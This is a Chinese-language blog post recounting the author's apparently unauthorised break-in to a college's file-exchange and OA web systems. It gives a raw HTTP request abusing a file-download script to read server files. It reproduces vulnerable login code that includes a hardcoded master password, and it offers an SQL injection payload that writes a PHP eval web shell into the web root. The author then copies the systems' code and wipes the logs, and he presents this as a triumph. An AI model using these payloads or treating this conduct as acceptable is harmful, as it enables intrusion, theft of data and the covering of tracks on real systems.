記一次前所未有巧妙的Hacking入侵
此次安全檢測過去有段時(shí)間了,一直想寫成稿子就是沒有時(shí)間,具體環(huán)境可能有所淡忘,但整個(gè)過程和思路還是很明了的。由于在校期間課余在學(xué)校的網(wǎng)絡(luò)工作室工 作,所以對一些學(xué)校網(wǎng)站的服務(wù)和發(fā)展比較關(guān)注。這期間發(fā)現(xiàn)某學(xué)院的文件交換系統(tǒng)非常的不錯(cuò),在校園網(wǎng)內(nèi)使用會帶來很多方面的便捷。搜索了下網(wǎng)上沒有現(xiàn)成的 系統(tǒng)下載,難道非要自己現(xiàn)寫不成…
踩點(diǎn):
服務(wù)器開放了21和80端口,Serv-U6.2、 Apache/2.055(win32)PHP/5.1.2;同臺服務(wù)器上還有一個(gè)OA系統(tǒng)。黑盒測試,先是測試上傳腳本文件,可以上傳,得到提取碼后進(jìn) 行提取不會被解析…,對上傳過程進(jìn)行抓包,然后構(gòu)造不存在的文件,發(fā)包,也沒有暴出任何敏感信息。對整個(gè)的交換系統(tǒng)進(jìn)行文件掃描也就掃出個(gè) config.php,google了下也沒有別的文件。剛才不是說還有個(gè)OA 系統(tǒng)嗎,google OA的時(shí)候確實(shí)有動態(tài)的連接,但所有的連接首先判斷是不是校內(nèi)IP,如果非校內(nèi)IP直接跳轉(zhuǎn)一個(gè)登陸頁面,到這里測試完全的陷入了僵局。幾經(jīng)的離開,幾經(jīng) 的回來再測試都沒有結(jié)果,難道真的拿不下它嗎?再一次的測試時(shí)輸入提取碼后的下載地址吸引了我。
“hxxp://www.xxx.edu.cn/ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg”
url后應(yīng)該是個(gè)絕對地址,那么修改下會不會下到別的文件?
抓包:
GET /ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg
HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)
Host: www.xxx.edu.cn
Connection: Keep-Alive
Cookie: down_fail_cnt=0
一般WIN32下PHP繼承的SYS權(quán)限,所以讀文件干脆就讀c:\boot.ini,Telnet 服務(wù)器ip 80發(fā)送下面修改好的數(shù)據(jù)
修改:
/ex/download.php?url=c%3A%5Cboot.ini HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)
Host: www.xxx.edu.cn
Connection: Keep-Alive
Cookie: down_fail_cnt=0
結(jié)果真的返回了boot.ini的內(nèi)容,狂喜中!
緊接著下來的問題就是猜web目錄的路徑了,找PHP或者Apache的配置文件應(yīng)該都能找到WEB的路徑,還是上面的發(fā)包,當(dāng)試到路徑 d:\wwwroot\ex時(shí),沒有返回錯(cuò)誤信息,說明猜對了他的路徑,然后就是讀交換系統(tǒng)的文件代碼了,代碼都是相關(guān)聯(lián)的,發(fā)現(xiàn)就7個(gè)php文件而且用 這個(gè)系統(tǒng)根本拿不到shell。進(jìn)而轉(zhuǎn)攻OA系統(tǒng),不出意外OA的路徑應(yīng)該就是d:\wwwroot\oa,完全正確!首先讀的就是 config.php,察看敏感信息,暴出數(shù)據(jù)庫聯(lián)接信息是本地連接,root權(quán)限。然后就是掃描OA文件,測試到這程度能不能拿shell我心里還是沒 有底,大批的讀源文件?… …心里發(fā)寒。
突破:
自己陷入矛盾中,放棄吧不甘心;繼續(xù)吧,就算讀完整套代碼可能一無所獲。心一橫,先看看有沒有代碼過濾再說吧,首先登陸口,隨意輸入用戶名、密碼提交,抓包。抓到check.php,然后讀代碼。它是這么寫的:
//echo "系統(tǒng)維護(hù),請稍后訪問!";exit;
require("config.php");
require("public/f_main.php");
require("f_db/".$Database['type'].".php");
session_start();
$db = new sql_db($Database['server'], $Database['username'], $Database['password'], $Database['dbname'], false);
if(!$db -> db_connect_id)
{
MsgGo("數(shù)據(jù)庫連接失?。?,"exit");
}
foreach($_POST as $key=>$value) $$key=$value;
//用戶密碼驗(yàn)證
$sql="SELECT a.*,b.dep_name,b.dep_parent_id,b.dep_id AS dep_id,c.dep_name as dep_parent_name
FROM t_user a
LEFT JOIN t_dep b ON a.dep_id = b.dep_id
LEFT JOIN t_dep c ON c.dep_id = b.dep_parent_id
WHERE user_name ='$user_name'";
if(!($result = $db->sql_query($sql))) MsgGo("數(shù)據(jù)查詢失?。?,"login.php");
if($row = $db->sql_fetchrow($result)){
if($row["user_status"]!="1"){
MsgGo("該用戶處于停用狀態(tài),暫不能登錄!","login.php");
}else{
if(md5($user_password)==$row["user_password"] || crypt($user_password,$row["user_password_old"])==$row["user_password_old"] || $user_password=="qwert12345")
{
if($row["user_password_old"]!="" && $user_password!="qwert12345"){
$sql="UPDATE t_user SET
user_password='".md5($user_password)."',
user_password_old=''
WHERE user_name ='$user_name'";
if(!$result = $db->sql_query($sql)){
MsgGo("數(shù)據(jù)查詢失??!","login.php");
}
}
$sql="UPDATE t_user SET
last_login_time=".time()."
WHERE user_name ='$user_name'";
if(!$result = $db->sql_query($sql)){
MsgGo("數(shù)據(jù)查詢失敗!","login.php");
}
$_SESSION["sess_user_name"]=$row["user_name"];
$_SESSION["sess_user_type"]=$row["user_type"];
$_SESSION["sess_user_real_name"]=$row["user_real_name"];
$_SESSION["sess_user_level"]=$row["user_level"];
$_SESSION["sess_dep_id"]=$row["dep_id"];
$_SESSION["sess_dep_name"]=$row["dep_name"];
if($row["dep_parent_id"]=="1"){
$_SESSION["sess_dep_level"]="1";
$_SESSION["sess_dep_id1"]=$row["dep_id"];
$_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
}elseif($row["dep_parent_id"]>"1"){
$_SESSION["sess_dep_level"]="2";
$_SESSION["sess_dep_id1"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
}
WriteLog("登錄系統(tǒng)");
//writeCookie("username_recent",$_SESSION["sess_user_name"],24*30);
setcookie("username_recent",$_SESSION["sess_user_name"], time()+3600*24*30);
//進(jìn)入系統(tǒng)主頁面
echo "
";
}else{
MsgGo("密碼錯(cuò)誤!","login.php");
}
}
}else{
MsgGo("用戶名錯(cuò)誤!","login.php");
}
?>
可以看出check.php過濾非常的不嚴(yán),直接導(dǎo)致SQL注入!貌似網(wǎng)上有不少類似的文章。先查出有24個(gè)字段,然后
'union select 1,'@eval($HTTP_POST_VARS['a'])?>',3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 into outfile 'd:\wwwroot\oa\dir.php'/*
提交!
這樣hxxp://www.xxx.edu.cn/oa/dir.php 就是我們的shell地址了。
這個(gè)shell都不用提權(quán)… …直接把文件交換還有OA打包拖回家,也沒有搞別的,擦擦日志走人了。
整個(gè)過程算是峰回路轉(zhuǎn)啊,那個(gè)艱辛啊,知道這樣還不如自己寫,托回來個(gè)有洞的程序-_-,唉。仔細(xì)讀了下代碼,問題出在download.php上,就寫錯(cuò) 了一個(gè)函數(shù)… …看來還真驗(yàn)證了那句話“安全來不得半點(diǎn)馬虎!”我目的就是拿這個(gè)程序,沒有再做進(jìn)一步的滲透,有了小的缺口可能導(dǎo)致整個(gè)服務(wù)器群的淪陷!安全無小事!
【編輯推薦】